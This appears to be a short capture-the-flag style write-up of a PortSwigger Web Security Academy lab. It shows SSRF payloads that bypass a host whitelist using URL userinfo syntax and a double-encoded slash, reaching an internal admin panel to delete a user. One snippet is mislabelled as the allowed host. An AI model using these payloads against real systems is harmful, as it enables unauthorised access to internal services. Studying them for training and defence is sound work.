> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/ssrf/ssrf-with-whitelist-based-filter.md).
# SSRF with Whitelist-Based Filtering
SSRF with Whitelist-Based Filtering notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### SSRF with Whitelist-based Input Filter
The stock check feature sends requests to an internal system. / The objective is to modify the URL used in the `stockApi` parameter to reach the administration interface located at `HTTP://localhost/admin`, then delete the user **carlos**. / The developer has put in place an anti-SSRF defense based on a **whitelist of authorized hosts**, which must be bypassed.
```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```
#### **Filter Analysis**
The application only allows requests to the following host:
```bash
stockApi=http://127.0.0.1/admin
```
If we change the URL to `localhost` or an internal address, we get the error:
External stock check host must be stock.weliketoshop.net
#### **Bypassing the Whitelist**
The idea is to use the `username:password@host` syntax in URLs. / This method allows us to **force the host validated by the whitelist to appear in the "authority"** part, while actually directing the request to `localhost`.
```bash
http://username:password@website.com
```
Payload used:
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```
With `/` (`%252f`) double encoding, the server correctly interprets the part redirected to `localhost`.
This allows access to the internal administration panel.
#### **Deletion of the Carlos User**
Once the bypass is functional, the removal URL is called directly:
{% code overflow="wrap" %}
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```
{% endcode %}
---
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